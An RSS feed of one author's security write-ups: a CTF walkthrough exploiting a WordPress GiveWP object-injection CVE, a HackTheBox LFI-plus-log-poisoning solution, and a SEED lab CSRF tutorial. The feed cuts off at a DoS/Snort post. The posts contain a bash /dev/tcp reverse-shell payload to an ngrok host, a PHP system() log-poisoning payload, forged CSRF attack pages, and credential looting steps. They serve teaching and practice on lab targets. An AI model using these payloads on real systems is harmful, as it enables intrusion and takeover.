<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ian Peter on Medium]]></title>
        <description><![CDATA[Stories by Ian Peter on Medium]]></description>
        <link>https://medium.com/@ianpeter?source=rss-3ecde5547cc6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*wXLs6oRTFqKAsJhw</url>
            <title>Stories by Ian Peter on Medium</title>
            <link>https://medium.com/@ianpeter?source=rss-3ecde5547cc6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 10:18:54 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ianpeter/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Mr Donor — CTFRoom]]></title>
            <link>https://ianpeter.medium.com/mr-donor-ctfroom-f8e41f71d691?source=rss-3ecde5547cc6------2</link>
            <guid isPermaLink="false">https://medium.com/p/f8e41f71d691</guid>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Ian Peter]]></dc:creator>
            <pubDate>Tue, 20 May 2025 14:10:23 GMT</pubDate>
            <atom:updated>2025-05-20T14:10:58.139Z</atom:updated>
            <content:encoded><![CDATA[<h3><a href="https://app.ctfroom.com/vault/mr_donor_671bbeec73d4f/?module=ZVM0MWFqVnludkJYWE8wbDdoWGhFZz09">Mr Donor — CTFRoom</a></h3><h3>1 Recon &amp; Discovery — all commands, all evidence</h3><p>Prior to starting any enumeration on the service, I prefer to personally assign the IP address of the machine being scanned under the variable IP in the terminal:</p><pre>IP=3.92.141.160</pre><h3>1.1 Find live services</h3><pre>nmap -sV -sC -Pn -A -vv -oN nmap_scan $IP &amp;&amp; cat nmap_scan</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OvVsBw2CQZQ1zi9zs0OGfg.png" /><figcaption>Results of nmap scan</figcaption></figure><p>From the observed output, we can see port 80 (Http Service) is open along with port 22 (SSH Service).</p><h3>1.2 Identify WordPress, users, and low-hanging fruit</h3><pre>wpscan --url http://$IP -e u</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tbfl52lKRvDQ-IIltNXZ9g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UmO_LHE9XOIxi81iTh81Ag.png" /></figure><p><strong>What this told us</strong></p><ul><li>The site is the latest WP core (so no easy core exploits).</li><li>There is exactly one account worth attacking (<strong>admin_magharibi</strong>)</li><li>Two directories are world-listable (great for later looting).</li></ul><h3>1.3 Full plugin enumeration (passive &amp; aggressive)</h3><pre>wpscan --url http://$IP --enumerate vp--api-token &lt;YOUR_WPSCAN_TOKEN&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Jlb7QL0c9G_MApq9g7n4Q.png" /><figcaption>GiveWP vulnerability</figcaption></figure><p><strong>Why that mattered</strong></p><p>GiveWP 3.14.0 is <em>two</em> point-releases behind 3.14.2, the patch for CVE-2024–5932 (unauthenticated object injection resulting in code-execution).</p><p>Instant exploitation candidate.</p><h3>1.4 Prove the plugin really exists on disk</h3><pre>curl -I http://$IP/wp-content/plugins/give/readme.txt | head -n1</pre><pre>HTTP/1.1 200 OK         ← file is there</pre><p>(or simply open /wp-content/plugins/give/ in a browser; directory listing is enabled.)</p><h3>1.5 Enumerate donation forms via the REST API</h3><pre>curl -s http://$IP/wp-json/wp/v2/give_forms?per_page=100 | jq &#39;.[].id&#39;</pre><p>Output should show <strong>21</strong></p><blockquote><em>Why use the API?</em></blockquote><blockquote><em>· It works even if the form is unpublished.</em></blockquote><p>Grab the canonical link for that form:</p><pre>curl -s http://$IP/wp-json/wp/v2/give_forms/21 | jq -r &#39;.link&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_xAOwKqDK2vA24gvTvZ88Q.png" /><figcaption>Output of both commands</figcaption></figure><h3>2 Weaponising CVE-2024–5932</h3><p>Checking online for this wordpress plugin version reveals an active CVE with an exploit available at this repository:</p><p><a href="https://github.com/EQSTLab/CVE-2024-5932/tree/main">GitHub - EQSTLab/CVE-2024-5932: GiveWP PHP Object Injection exploit</a></p><p>We can now clone this repository onto our local machine to take advantage of this exploit:</p><pre>git clone https://github.com/EQSTLab/CVE-2024-5932.git<br>cd CVE-2024-5932/<br>pip install -r requirements.txt</pre><h3>2.1 Prepare a public listener</h3><pre>ngrok tcp 4444<br>nc -lvnp 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*sWlKniT62JHiGrcxPCCgTw.png" /><figcaption>Results of commands</figcaption></figure><h3>2.2 Reverse-shell payload</h3><p>Include the ngrok url provided to replace the one below at <strong><em>0.tcp.in.ngrok.io/16423.</em></strong></p><p><strong>Note: Replace : with / before port i.e. /16423</strong></p><pre>RSHELL=&#39;bash -c &quot;bash -i &gt;&amp; /dev/tcp/0.tcp.in.ngrok.io/16423 0&gt;&amp;1&quot;&#39;</pre><h3>2.3 Fire the exploit</h3><pre>python3 CVE-2024-5932-rce.py -u http://$IP/donations/21/ -c &quot;$RSHELL&quot;</pre><h3>2.4 Shell lands</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fqQdaGUELeJdBv4uMzOoZA.png" /><figcaption>Reverse shell</figcaption></figure><h3>3 Post-exploitation on the web host</h3><h3>3.1 Loot WordPress config</h3><p>We can now proceed to check for sensitive files in wordpress configurations to check for any leaked credentials.</p><pre>cd /var/www/wordpress<br>cat wp-config.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*EQHJY-TNdLaYzWiSAb1VaQ.png" /></figure><p>We are able to find the user and password here.</p><p>However this seemed to be a dead end as it did not lead to any verifiable path when accessing the sql database on the machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*7AgwBlWsqE1CXKjFwFeAHg.png" /></figure><h3>3.3 Enumerate scheduled tasks</h3><p>We try for another privilege escalation path by checking for scheduled tasks.</p><pre>crontab -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*0RpB5MK2L6SfJwhTXDPUXw.png" /></figure><p>At this point, we are able to extract the password provided in the command line for the user <strong><em>backup_svc</em></strong>.</p><h3>4 Privilege escalation to root</h3><p>With the username and password, we can now ssh into the machine.</p><pre>ssh backup_svc@$IP                 # pass: vnG^W6q%zjt^S</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_LGT0X-PiF25Nk5z5Mzwyg.png" /></figure><p>We now check if the user has the ability to execute super user commands to achieve full root access on the machine.</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yudz3dXGMOFJjkfNzEA2Yg.png" /></figure><p>Confirming the user has root access, we can now proceed to capture the flag.</p><h3>5 Capture the flag</h3><pre>sudo -s<br>cat /root/root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*nTOK15GOPsiXEsc6UOppMw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f8e41f71d691" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Log Poisoning through LFI and Serialization in PHP]]></title>
            <link>https://ianpeter.medium.com/exploiting-log-poisoning-through-lfi-and-serialization-in-php-e039e7b126ad?source=rss-3ecde5547cc6------2</link>
            <guid isPermaLink="false">https://medium.com/p/e039e7b126ad</guid>
            <category><![CDATA[local-file-inclusion]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[serialization]]></category>
            <category><![CDATA[log-poisoning]]></category>
            <dc:creator><![CDATA[Ian Peter]]></dc:creator>
            <pubDate>Thu, 12 Jan 2023 19:24:16 GMT</pubDate>
            <atom:updated>2023-01-12T19:27:52.557Z</atom:updated>
            <content:encoded><![CDATA[<p>PHP is a widely-used programming language for web development, and its popularity has made it a target for attackers. One of the vulnerabilities that can be found in PHP applications is Log Poisoning through LFI (Local File Inclusion).</p><p>This vulnerability can be exploited to gain unauthorized access to sensitive information stored on the server, such as log files or configuration files.</p><p>In this article, we will discuss the Log Poisoning through LFI vulnerability and serialization in PHP, and show how it can be exploited using a script that takes advantage of the vulnerability. We will also cover the potential impact of this vulnerability and ways to mitigate it.</p><blockquote>The code used for this writeup was to solve the Web challenge from HackTheBox titled Toxic</blockquote><p>Examining the response from the server reveals it to be a Nginx Server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l4Mpm-fpQpuhVngf4JAfTg.png" /></figure><h3>Local File Inclusion</h3><p>Local File Inclusion (LFI) is a type of vulnerability that allows an attacker to read sensitive files on the server by injecting a malicious file path into a vulnerable script. This vulnerability is often found in scripts that use the “include” or “require” functions to include files from user-supplied input.</p><p>For example, consider a PHP script that takes a user-supplied parameter, such as “page.php?file=home”, and includes the file specified in the “file” parameter, such as “include($_GET[‘file’] . ‘.php’);”. In this case, if the user supplies a malicious file path, such as “../../../../etc/passwd”, the script will include the file at that path, allowing the attacker to read the contents of the file.</p><p>An attacker can exploit LFI vulnerabilities in multiple ways, such as reading sensitive files or injecting code into a web page by including a file containing malicious code. This can allow an attacker to gain unauthorized access to sensitive information stored on the server, such as log files or configuration files, or to execute arbitrary code on the server.</p><h3>Serialization</h3><p>Serialization in PHP is the process of converting a data structure or object state into a format that can be stored or transmitted. This process is often used to store session data in cookies, but can also be used to store data in a file or to transmit data across networks.</p><p>In PHP, the serialize() function is used to convert a data structure or object into a string representation, while the unserialize() function is used to convert the string back into a data structure or object.</p><p>However, if the serialized data contains a malicious code, an attacker can use this data to execute arbitrary code on the server. This is known as PHP Object Injection and it is a critical vulnerability.</p><p>The article here covers in depth how Object Injection in Php can lead to serious web vulnerabilities:<br><a href="https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection">https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection</a></p><h3>Exploitation</h3><p>In this scenario the LFI was present in the cookie sent provided by the server:</p><p>Cookie:PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9</p><p>Upon decoding the cookie, we realize it is a serialized object</p><p>O:9:&quot;PageModel&quot;:1:{s:4:&quot;file&quot;;s:15:&quot;/www/index.html&quot;;}</p><p>We can attempt to test for LFI vulnerability by trying to read the contents of /etc/passwd</p><p>O:9:&quot;PageModel&quot;:1:{s:4:&quot;file&quot;;s:25:&quot;../../../../../etc/passwd&quot;;}</p><p>We base64 encode the following information before sending it as a request</p><blockquote>Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCI7fQ==</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c_XAU4VH7kE15l223BsXcQ.png" /></figure><p>The response is the contents of /etc/passwd confirming LFI chained with Object Injection vulnerability.</p><p>From here, we can perform Log Poisioning in order to allow us to perform Remote Code Execution on the server side.</p><h3>Log Poisoining</h3><p>Log Poisoning is a type of attack that allows an attacker to alter or corrupt the contents of log files on a server. This can be done by injecting malicious input into a script, which is then logged by the server. The attacker can use this technique to hide their tracks, cover their tracks, or to disrupt the normal operation of the server.</p><p>An example is when an attacker injects malicious input into a script that is intended to log the input, causing the script to log the malicious input instead of the legitimate input. This can cause log files to become corrupted or useless, making it difficult for an administrator to diagnose and troubleshoot problems on the server.</p><p>This was the key to solving this challenge using the log files found at /var/log/nginx/access.log as this is the default location of log files on a nginx server</p><p>Constructing the payload once more as a serialized object we have:</p><p>O:9:&quot;PageModel&quot;:1:{s:4:&quot;file&quot;;s:25:&quot;/var/log/nginx/access.log&quot;;}</p><p>We can then send a malicious User-Agent header which will get logged and upon accessing the page will be executed. The payload used for this was:</p><p>&lt;?php system(&#39;ls /&#39;);?&gt;&quot;</p><p>By sending a request with this parameters we receive back the file structure in the response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*02LlsLKP2gCKeGG8-EPf3A.png" /></figure><p>This confirms Remote Code Execution on the server through Log Posioning.</p><p>We can then chain all these vulnerabilities to finally extract the flag using the following script:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/2066001a06bf836c6f9efe39bff97b34/href">https://medium.com/media/2066001a06bf836c6f9efe39bff97b34/href</a></iframe><h3>Mitigations</h3><h4>Local File Inclusion (LFI) Vulnerability:</h4><ul><li>One way to mitigate LFI vulnerabilities is to validate user input and to use a whitelist of allowed characters for file paths. This can prevent an attacker from injecting malicious file paths into a script.</li><li>Another way is to avoid using user-supplied input in file paths and to use a function that can only include files from a specific directory, such as include_once() or require_once(). This can prevent an attacker from including files outside of the intended directory.</li><li>It is also important to use the latest version of PHP and to apply security patches when they become available.</li></ul><h4>Object Injection (Serialization) Vulnerability:</h4><ul><li>One way to mitigate Object Injection vulnerabilities is to use a secure serialization library, such as PHP’s own serialize() and unserialize() functions, that is aware of the potential security risks of serialization.</li><li>Another way is to validate user input, and to sanitize any input that is intended to be serialized. This can prevent an attacker from injecting malicious code into a script.</li><li>Additionally, it is important to be aware of the potential security risks of serialization and to handle deserialized data with care.</li></ul><h4>Log Poisoning Vulnerability:</h4><ul><li>To prevent log poisoning, it is important to validate user input and to sanitize any input that is intended to be logged.</li><li>Another way is to use a logging framework that is aware of the potential security risks of log injection, such as using prepared statements in SQL.</li><li>Additionally, it is important to use a log management tool that can detect and alert on anomalous log entries. This can help detect and prevent log poisoning attacks.</li></ul><h4>Remote Code Execution (RCE) Vulnerability:</h4><ul><li>To mitigate RCE vulnerabilities, it is important to validate user input and to sanitize any input that is intended to be executed by the server.</li><li>Another way is to use a framework that is aware of the potential security risks of RCE, such as using prepared statements in SQL.</li><li>Additionally, it is important to use the latest version of PHP and to apply security patches when they become available.</li><li>It is also important to have a good backup and recovery strategy in place in case the server is compromised.</li></ul><p>It is also important to note that there may be other ways to mitigate these vulnerabilities</p><h3>Conclusion</h3><p>It is also important to note that this script is provided for educational purposes only.</p><p>In conclusion, Log Poisoning through LFI and serialization is a serious vulnerability that can have severe consequences for PHP applications. Understanding the vulnerability, and how it can be exploited, is crucial for developers to protect their applications and keep sensitive information safe.</p><p>This article discussed the technical details of the Log Poisoning through LFI vulnerability and serialization and provided ways to mitigate it. It is important to keep in mind that these vulnerabilities can be exploited by attackers to gain unauthorized access to sensitive information, corrupt log files and even execute arbitrary code on the server. Therefore, it is important to stay vigilant and take proactive steps to protect your PHP applications from these types of attacks.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e039e7b126ad" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cross-Site Request Forgery (CSRF) Attack using SEED Lab]]></title>
            <link>https://ianpeter.medium.com/cross-site-request-forgery-csrf-attack-using-seed-lab-3681310719ad?source=rss-3ecde5547cc6------2</link>
            <guid isPermaLink="false">https://medium.com/p/3681310719ad</guid>
            <category><![CDATA[csrf]]></category>
            <category><![CDATA[http-request]]></category>
            <category><![CDATA[elgg]]></category>
            <category><![CDATA[csrf-protection]]></category>
            <dc:creator><![CDATA[Ian Peter]]></dc:creator>
            <pubDate>Tue, 27 Dec 2022 16:01:29 GMT</pubDate>
            <atom:updated>2022-12-27T16:01:29.402Z</atom:updated>
            <content:encoded><![CDATA[<p>Cross-Site Request Forgery (CSRF) is a type of attack that allows an attacker to execute malicious actions on behalf of a victim without the victim’s knowledge. It works by tricking the victim into making a request to a website using the victim’s own credentials.</p><p>For example, if a victim is logged into their bank account and visits a malicious website, the attacker can use CSRF to make the victim’s browser send a request to the bank’s website to transfer money to the attacker’s account without the victim realizing it.</p><p>The SEED Lab used for this illustration can be found at:</p><p><a href="https://seedsecuritylabs.org/Labs_16.04/Web/Web_CSRF_Elgg/">Cross-Site Request Forgery Attack Lab</a></p><h3>Prerequisites</h3><ol><li>Find the description of the SEED Lab used at:</li></ol><iframe src="https://drive.google.com/viewerng/viewer?url=https%3A//seedsecuritylabs.org/Labs_16.04/PDF/Web_CSRF_Elgg.pdf&amp;embedded=true" width="600" height="780" frameborder="0" scrolling="no"><a href="https://medium.com/media/d30b7b0ac0c022f24151d22e3d19c874/href">https://medium.com/media/d30b7b0ac0c022f24151d22e3d19c874/href</a></iframe><p>2. Download the SEEDUbuntu-16.04–32bit VM used</p><p><a href="https://seedsecuritylabs.org/lab_env.html">SEED Project</a></p><p>3. Check the manual on importing the SEEDUbuntu VM into VirtualBox. Follow the 7 steps in “How to Use Virtualbox to Run SEEDUbuntu VM”</p><iframe src="https://drive.google.com/viewerng/viewer?url=https%3A//seedsecuritylabs.org/Labs_16.04/Documents/SEEDVM_VirtualBoxManual.pdf&amp;embedded=true" width="600" height="780" frameborder="0" scrolling="no"><a href="https://medium.com/media/99b6fe8c314b7957e4226fd1aeefd7e6/href">https://medium.com/media/99b6fe8c314b7957e4226fd1aeefd7e6/href</a></iframe><h3><strong>Task 1: Observing HTTP Requests</strong></h3><p>Observing HTTP requests is an important task when studying and understanding the inner workings of websites, particularly when it comes to security. By observing HTTP requests, you can see exactly what information is being sent between the browser and the server, which can help you identify potential vulnerabilities or areas of concern.</p><p>To observe HTTP requests using the Firefox Web Console, follow these steps:</p><ol><li>Start up Firefox and open the Web Console by pressing Ctrl + Shift + K (or by going to Tools &gt; Web Developer &gt; Web Console).</li><li>Click on the Network tab to view the network activity of the current page.</li><li>Access the website <a href="http://www.csrflabelgg.com/">http://www.csrflabelgg.com/</a> without logging in. You should see a HTTP GET request appear in the Web Console.</li><li>If you opened the Web Console after accessing the website, you may need to reload the page in order to see the HTTP GET request.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*CeTXwXyfiwaWfOiA7XmKYg.png" /></figure><p>To observe a HTTP POST request, login to the website <a href="http://www.csrflabelgg.com/">http://www.csrflabelgg.com/</a> as Charlie (username: charlie, password: seedcharlie) while keeping the Web Console open. You should see a HTTP POST request appear in the Web Console.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*4HcURoI7zXxsf1tsiGa_sA.png" /></figure><p>By looking at the parameters of the HTTP GET and POST requests in the Web Console, you can see exactly what information is being sent between the browser and the server.</p><p>The following parameters were used:</p><p>__elgg_token</p><p>__elgg_ts</p><p>password</p><p>username</p><p>The __elgg_token and __elgg_ts parameters are likely used for security purposes, such as to prevent cross-site request forgery (CSRF) attacks. The password and username parameters are used to pass the user’s login credentials to the server.</p><h3><strong>Task 2: CSRF Attack with GET Request</strong></h3><p>In this task, we consider two people in the Elgg social network: <strong>Alice </strong>and <strong>Boby</strong>.</p><p>Boby wants to become a friend to Alice, but Alice refuses to add him to her Elgg friend list. Boby decides to use the CSRF attack to achieve his goal.</p><p>He sends Alice an URL (via an email or a posting in Elgg); Alice, curious about it, clicks on the URL, which leads her to Boby’s website:(www.csrflabattacker.com).</p><p>As Boby, you will construct the content of this website, so that as soon as Alice visits the web page, Boby is added to the friend list of Alice (assuming that Alice has an active session with Elgg).</p><p>To add a friend to the victim, we need to identify what the legitimate HTTP request (a GET request) for adding friends looks like. We will use the Web Console (as in the previous task) to do the investigation.</p><p>First, let us investigate the legitimate HTTP requests by adding friends when working as user Charlie, and comparing the results.</p><p>Making sure you are logged in as Charlie(username: charlie, password: seedcharlie):</p><ol><li>Click on “More” &gt; “Members”.</li><li>Click on Alice’s name. Make sure that the Web Console Network tab is open so that you can see the request you are about to make.</li><li>Click on “Add Friend” (the button on the left).</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*to4YbkDDDXuKp8dtmu_-XA.png" /></figure><p>The following parameters are used in the GET request:</p><p>__elgg_token</p><p>__elgg_ts</p><p>friend</p><p>It can also be observed that the request is issued to the URL:<br><a href="http://www.csrflabelgg.com/action/friends/add?friend=42&amp;__elgg_ts=1669802924&amp;__elgg_token=7IVmGiAT2pV_mK9kANmBGA"><em>http://www.csrflabelgg.com/action/friends/add?friend=42&amp;__elgg_ts=1669802924&amp;__elgg_token=7IVmGiAT2pV_mK9kANmBGA</em></a></p><p>Now:</p><ol><li>Go back to the “Members” list.</li><li>Click on “Boby”. Make sure that the Web Console Network tab is open so that you can see the request you are about to make.</li><li>Click on “Add Friend” (the button on the left).</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*9h0W9Hew78OaZAca4ck5eQ.png" /></figure><p>The same parameters and url are used with only one difference in the value for friend parameter which is 43 in Boby’s case but 42 in Alice’s case.<br>With this knowledge, we (Boby) can create a page that can be used to phish Alice.</p><p>Boby’s website which is <a href="http://www.csrflabattacker.com/">www.csrflabattacker.com</a> would host the following page:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>    &lt;head&gt;<br>    &lt;/head&gt;<br>    &lt;body&gt;<br>        &lt;img src=&quot;http://www.csrflabelgg.com/action/friends/add?friend=43&quot; /&gt;<br>    &lt;/body&gt;<br>&lt;/html&gt;</pre><p>This page would be hosted at /var/www/CSRF/attacker_folder where attacker_folder is arbitrarily named.</p><p>The img tag automatically triggers an HTTP GET request whether the image exists or not.</p><p>In this webpage will issue a request on behalf of any user visiting to add Boby as a friend.</p><p>The remaining parameters, __elgg_token and __elgg_ts are excluded in this lab.</p><p>They are used as a countermeasure against CSRF attacks. Specifically, if these parameters do not contain correct values, the request will not be accepted by Elgg<br>Create a backup of this file as it will also be used later in this exercise.</p><p>Next, login as Boby (username: boby, password: seedboby) and send a phishing message to Alice with the link attached.</p><p>NB: Ensure the message subject is non-empty, otherwise the website will throw an error. (This is an unintentional bug in the website implementation.)</p><p>Ensure that Alice is not friends with Boby before proceeding by checking Alice’s profile at:</p><p>http://www.csrflabelgg.com/profile/alice</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*cN1HJb9FbWbsJXHA7QGvvA.png" /></figure><p>Next, log in as Alice (username: alice password: seedalice) and click on the envelope to view messages</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*nzF3RjWsB15GPEswv73tqA.png" /></figure><p>Click on the link and observe how the webpage appears.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Nc-_BYDhRz16I588U9th9g.png" /></figure><p>Go back to <a href="http://www.csrflabelgg.com/">www.csrflabelgg.com</a> in your browser and you will see the attack was successful and Boby has been added as a friend to Alice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*HoCWj13x4tf8nUNMG1OfHw.png" /></figure><h3>Task 3: CSRF Attack Using POST Request</h3><p>In this part of the lab, Bob will run another CSRF attack with a goal to deface Alice’s profile so that it reads “Boby and ${anything} are MY HEROES!!” (you can replace ${anything} with your your name or number or any value you’d like)</p><p>Capture a legitimate POST request using the following steps:</p><ol><li>Log in as Alice (username: alice, password: seedalice)</li><li>Click on “Edit profile”</li><li>Open the Web Console Network tab so that you can see the request you are about to make. Fill out the form with some information (this information can be arbitrary) and click “Save”</li></ol><p>Observe the HTTP POST request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*hEdaGcFSgoMIQk07yJEUUw.png" /></figure><p>There are several parameters used but we are only interested in specific parameters in order for our attack to be successful.</p><p><em>name</em></p><p><em>accesslevel</em></p><p><em>description</em></p><p><em>guid</em></p><p>This parameters would need to be passed as a form submitted to the website as a POST request.</p><p>We can do this by editting the index.html file inside the attacker’s website (www.csrflabattacker.com; /var/www/CSRF/attacker folder) so that the page will launch a CSRF attack to deface Alice’s profile.</p><p>A sample code has been provided in the original SEED lab.</p><p>We will use Javascript to succeed in this attack and ensure Boby’s website which is <a href="http://www.csrflabattacker.com/">www.csrflabattacker.com</a> would host the following page:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>  &lt;head&gt;<br>  &lt;/head&gt;<br>  &lt;body&gt;<br>    &lt;script type=” text/javascript”&gt;<br>        function forge_post()<br>        {<br>                var inputs;<br><br>                inputs += &quot;&lt;input type=&#39;hidden&#39; name=&#39;name&#39; value=&#39;Alice&#39;&gt;&quot;;<br>                inputs += &quot;&lt;input type=&#39;hidden&#39; name=&#39;description&#39; value &#39;Boby and Js2169 are MY HEROES!!&#39;&gt;&quot;;<br>                inputs += &quot;&lt;input type=&#39;hidden&#39; name=&#39;accesslevel[briefdescription]&#39; value=&#39;2&#39;&gt;&quot;;<br>                inputs += &quot;&lt;input type=&#39;hidden&#39; name=&#39;guid&#39; value=&#39;42&#39;&gt;&quot;;<br><br>                var q = document.createElement(&quot;form&quot;);<br><br>                q.action = &quot;http://www.csrflabelgg.com/action/profile/edit&quot;;<br>                q.innerHTML = inputs;<br>                q.method = &quot;post&quot;;<br><br>                document.body.appendChild(q)<br><br>                q.submit();<br><br>        }<br>        window.onload = function() { forge_post();}<br>     &lt;/script&gt;<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><p>This script creates and submits a HTML form. The form contains several hidden input fields, which are used to pass data to the server when the form is submitted.</p><p>The function forge_post() is defined at the beginning of the script. This function creates the HTML form and sets the action attribute to &quot;<a href="http://www.csrflabelgg.com/action/profile/edit">http://www.csrflabelgg.com/action/profile/edit</a>&quot;, which specifies the URL that the form will be submitted to.</p><p>Inside the function, several input fields are created and added to the form using the += operator and the innerHTML property. These input fields contain various data, such as the name &quot;Alice&quot; and a description containing the text &quot;Boby and Js2169 are MY HEROES!!&quot;.</p><p>Once the form has been created and the input fields have been added, the form is appended to the body of the HTML document using the appendChild() method. Finally, the submit() method is called on the form to submit it to the server.</p><p>The window.onload event is used to specify that the forge_post() function should be called when the page has finished loading. This means that the form will be automatically submitted as soon as the page is loaded.</p><p>Check Alice’s webpage and ensure everything is standard with the way you had edited it before doing anything.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*9ORwd0iQNiRMcDCJrV5_0g.png" /></figure><p>Next, log in as Boby and send another message to Alice with the link to the attacker’s webpage that you created above.</p><p>Finally, log in as Alice and click on the link contained in the messages.</p><p>Ensure you open the Web Console Network tab so that you can see the request, which you are about to make</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Kgi3dUZlpMenrbEELJsteA.png" /></figure><p>The website is defaced and only the parameters modified are passed to the HTTP POST request indicating the attack was successful.</p><p>This is because malicious page that Alice visited hosted Javascript code that sends a form with filled inputs to the edit page of the profile of the user currently logged in, i.e., Alice.</p><p>This would be the same as Alice editing and hitting the submit button by herself.</p><p>This attack depends on Boby knowing Alice’s userID. Consider how this can be achieved.</p><blockquote>Solution: Bob would proceed to add Alice as a friend and capture the parameters used in the GET request. The friend parameter would be able to provide Alice’s user ID.</blockquote><p>Additionally consider a scenario where Boby wants to modify the CSRF attack so that he can deface the Elgg profiles of any Elgg user that goes to Boby’s site.</p><p><strong>Is it possible? If so, how? If not, why not?</strong></p><blockquote>Solution: Yes. Boby would use a brute force attack for the guid variable and provide a link to the malicious page on his own webpage. Provided one of the guid variables is correct for the user logging on, then it would work. Guid variables would have to be in a small range as the number of users is low.</blockquote><h3>Task 4: Implementing a Countermeasure for Elgg</h3><h4>Enable the Countermeasure</h4><p>Go to the /var/www/CSRF/Elgg/vendor/elgg/elgg/engine/classes/Elgg directory.</p><p>In the “ActionsService.php” file, find the “gatekeeper” function.</p><p>Comment out the “return true;” at the top of this function.</p><p>Now when you try to run the previous attacks in Task 2 and Task 3 they will fail.</p><p>This is because the HTTP requests issued by the site lacks the <em>__elgg_ts and __elgg_token </em>values, which even if they were included would also have to be the correct ones.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3681310719ad" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Denial of Service (DoS) Attack and Detection using Snort]]></title>
            <link>https://ianpeter.medium.com/denial-of-service-dos-attack-and-detection-using-snort-90ae68667822?source=rss-3ecde5547cc6------2</link>
            <guid isPermaLink="false">https://medium.com/p/90ae68667822</guid>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[hping3]]></category>
            <category><![CDATA[snort]]></category>
            <category><![CDATA[intrusion-detection]]></category>
            <category><![CDATA[denial-of-service]]></category>
            <dc:creator><![CDATA[Ian Peter]]></dc:creator>
            <pubDate>Sun, 25 Dec 2022 22:01:27 GMT</pubDate>
            <atom:updated>2022-12-25T22:01:27.012Z</atom:updated>
